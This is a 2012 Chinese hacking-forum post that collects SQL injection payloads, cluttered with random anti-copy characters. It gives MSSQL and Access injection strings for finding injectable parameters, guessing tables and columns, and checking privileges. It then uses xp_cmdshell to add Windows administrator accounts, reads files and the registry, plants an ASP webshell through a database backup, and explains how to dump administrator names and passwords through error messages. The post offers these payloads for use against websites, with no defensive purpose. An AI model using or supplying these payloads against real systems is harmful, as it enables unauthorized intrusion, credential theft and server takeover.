找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1948|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 & M: W8 Z8 s; y. U  M  Q0 z
;and 1=1 5 N- u1 p# k. N, @
;and 1=2 1 Z' W4 U' i0 Q5 P

- Y3 F8 O& d; n( k# e: o2.初步判断是否是mssql ! N( F7 b8 ~" W* D; Y2 j
;and user>0 * ~$ @1 W7 s2 f5 ^1 \* l
; W6 ~3 g; B/ l! U$ B
3.判断数据库系统
) X; L0 L4 T9 ~! s: W) I1 c;and (select count(*) from sysobjects)>0 mssql
' m9 u* _( d9 D  p4 x2 O2 p* B( H;and (select count(*) from msysobjects)>0 access
/ u$ W" A% Z9 r
; p- q* e+ Y/ C/ j0 r3 u8 E4.注入参数是字符 ! w: c7 [+ b. ]# I
'and [查询条件] and ''=' % d% w% P/ h3 U3 r1 b# U- d
$ M; I! ~) X$ J& i1 D
5.搜索时没过滤参数的 ) a' C: H- z& u3 b9 c9 c
'and [查询条件] and '%25'='
) o7 {2 m0 [4 W, K5 B  B/ l* @- E# _/ m8 {6 |( A
6.猜数表名
8 _5 t* w3 f2 \& H;and (select Count(*) from [表名])>0
5 m+ \( T) a& H6 W) s0 i* n; E+ T
0 w/ w9 p  Y2 H9 W5 [" H7.猜字段 5 Z4 F1 @! {) l$ t& q  Q8 t
;and (select Count(字段名) from 表名)>0 * I- h8 Z( s2 L

; V8 t+ k  T9 O8 l1 K. I$ c8.猜字段中记录长度 . o! r4 g% r9 j+ K& G% K+ A, R5 J
;and (select top 1 len(字段名) from 表名)>0
* o; c1 e, C+ ~' Y/ a# `
& ?: B& X8 O4 u, E7 |/ m0 I; D& i9.(1)猜字段的ascii值(access) 4 e6 D  n! i& n/ T" m
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
- {7 K+ u( f! J) `+ g; _% P2 c
2 S; _8 ?+ ^7 j5 }9 ]: j6 Q" E+ q: Q(2)猜字段的ascii值(mssql)
1 ^1 ^  J. U9 m  W) w;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0   ?- D1 ?0 K3 F4 {9 m& `+ U

4 [. _+ \6 q6 f4 N) c4 Z9 F10.测试权限结构(mssql) 4 L, O: a, U- p2 o
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8 K, n/ \! p' S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
, @$ F( b+ H4 U) c) v;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7 Q) J6 u4 r7 A# y  V* c
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
2 j: M+ t! B2 Y! z3 d; d1 j% g;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- & H8 o1 |4 k) T, n  x9 \
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
0 z. w- @; z+ m# ?* g. L! |6 n" d;and 1=(select IS_MEMBER('db_owner'));-- - P4 X1 c% g6 r7 Y7 `& d, ^$ q+ D
8 W- h+ E3 |% n' k: g
11.添加mssql和系统的帐户
6 t/ Q2 I" s0 k;exec master.dbo.sp_addlogin username;-- * F) O. M2 o# \; J
;exec master.dbo.sp_password null,username,password;--
6 o9 k/ w/ b0 O' _* y9 H;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7 w, E8 F: W% H, X1 l
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ! {; i, }: i/ x2 S/ ^
;exec master.dbo.xp_cmdshell 'net user username password /add';--
# b% h0 {* z7 `% I8 F. k7 ];exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--   k4 }8 i# c& P7 F& v) U/ o# L
! C# U, r% F% h( w
12.(1)遍历目录
. b' E9 D3 v) g! H; E4 s;create table dirs(paths varchar(100), id int) & f) ]7 ?" T5 [. M) D
;insert dirs exec master.dbo.xp_dirtree 'c:\'
. h' Q' o) {1 [0 m;and (select top 1 paths from dirs)>0 * f- x* m. f$ }9 C2 w
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $ L% l# b9 T2 w5 h: y, H. V

* Q* T6 E5 G( i2 a% o1 j(2)遍历目录   r  J0 u+ `3 }
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1 z. w, P# _" w0 I  d
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
4 h! o1 l* T8 k" M- ?% r4 G, N;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + i' ^; l# g2 p* H  T
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
: @$ U' o/ W1 U& i+ l5 H: f1 f;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 A& V& E" [: _. r% m7 D) p3 l9 Z/ f0 h- |+ L3 S4 b  `( E" _
13.mssql中的存储过程 / o4 \1 c- k$ I  `
xp_regenumvalues 注册表根键, 子键
8 z4 O0 @' ?: n;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 " l( s9 i/ D/ b' s  k  P/ t4 }
xp_regread 根键,子键,键值名 7 E) P! O" i5 N) S( {
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" c8 r1 }2 ~! T" j7 J" J3 H5 A! Exp_regwrite 根键,子键, 值名, 值类型, 值
$ o) P7 f4 Q6 c值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ' H8 a* M! f" E, {- e! {4 v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ' y7 C% A+ O* V% ~5 c2 V7 ]% c* S
xp_regdeletevalue 根键,子键,值名 $ I6 }  P. e1 z* a+ y; R
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 4 _5 H. V9 t  Y
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 Y0 W) _& b# M2 n! w3 P- o

) y! }" J- v5 k) ?3 l; P14.mssql的backup创建webshell : b0 D. n9 O5 A/ k
use model : W/ n$ K8 k# L5 ~0 C
create table cmd(str image);
8 J" h4 T  w8 S! }* m" dinsert into cmd(str) values ('<% Dim oScript %>');
7 f: s5 H& A' q% ]* zbackup database model to disk='c:\l.asp';
7 n( A# E8 e0 r) I( `4 F' h4 {& T
15.mssql内置函数 % f8 j3 W8 i) _# h9 {
;and (select @@version)>0 获得Windows的版本号
( S7 S) D1 V6 v;and user_name()='dbo' 判断当前系统的连接用户是不是sa ) m$ P+ S" S: U* _6 g! q  d
;and (select user_name())>0 爆当前系统的连接用户 & g2 I/ z$ L$ D: r
;and (select db_name())>0 得到当前连接的数据库
7 p- `! H3 X( N  X+ Q) U  x8 c1 T8 `: m" S* a
, K% f" [7 {6 O0 ~7 M
6 o2 t: D$ G: w8 s4 W. _
MSSQL手注暴库
2 d8 q1 r, A5 c0 c7 k- s7 `4 ^" C9 s4 z; a- P" G" b# B
1.暴出当前表名和列名
& p3 d- J: o; H9 z7 z在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 g! P" e  |' u. @
6 x$ t1 f1 u$ d0 k( {1 W
第一.爆出所有数据库名: t7 {5 V/ W, t% M
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。" |/ y' p4 _1 l6 H& M5 s2 s/ O' [: u
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
) }1 N  F4 _8 K6 q- x1 ?- {
6 z* m! W& V, P/ k) kand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
$ u! P( Y. U( T
6 h% j- S/ G1 n) h% |) A$ T2 u8 V- n8 I+ k2 }4 \
第二.爆出指定库中的所有表名9 V8 [1 r8 x) S: p" @) {) P+ \
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。+ u% Q+ z* r4 R
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。1 A. O, N% R9 r2 g1 Y

8 S- B% i( y" v9 z( M/ T& I/ Z- Dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
) h* Z# H+ s) S0 hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--* L2 o# J  U9 V- T! T2 E; m
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--% z. X& k. U6 e; [9 K

8 z% k8 B: P, i  O# {6 y  y4.爆出指定表中的所有列名
0 i. A& s( U9 o- {) V1 W$ Aand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) . m5 V# o0 ?: J6 ~! D* \
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'& C* H$ [) y4 T* `" Q5 S! t: e
% y0 M% O' d! H4 G( |5 p: J
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名8 Y6 C+ b. V; K6 @1 p3 A1 j
0 t. B( r. f6 B- Y. l5 o- P* C
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
# K$ `0 B9 D2 g4 R0 ~依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
+ y5 K1 v& f; o; s0 M
. t) v) |. u& s& O/ n, }( C/ l7 H% y7 `) c& D  Q; B8 U$ E# d
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值9 m8 A- U8 e& U+ d6 e: I/ }

0 B& d$ A7 k7 C6 a4 f: ], Hand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名' \6 C" @  V* w. K! e: }3 _
) P. z$ ^7 O4 r. L; M9 ]  x
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
6 v: L" Z( ^( d! l' O+ }
8 j6 H# a1 B5 X2 ^% w5 Q& Z$ h; V- ?8 X5 }

$ a& L; E: ?- `* ~7 ^4 t5.读取指定表中的数据
8 h: I, C& f4 F6 |1 H7 S* D4 \4 p. h2 n7 v4 |* h# G+ J
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 7 A0 |- \: _$ t% T" e

! b7 V, |! e0 f5 h  U& {* y9 c; ?and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--5 N/ ?. C6 T3 G
" V0 i; J7 {0 s: r4 @. h
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码3 s# w& |9 I1 n/ r
3 x) P" l8 C* F* t2 d
7 m9 f+ Q9 e% v% o9 W) T! a+ s( F
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
8 Q3 O2 H8 q- I$ n7 W$ j5 ]# X( |4 E1 q' {# H+ ]3 n
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)  l1 K$ |2 C+ `6 m( J
" K9 a9 R- x$ v, |
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
: L# G5 }4 Z5 b4 g& a" |( f; L$ Q
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。! Q! b  b6 M- Q' ~9 `% F3 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表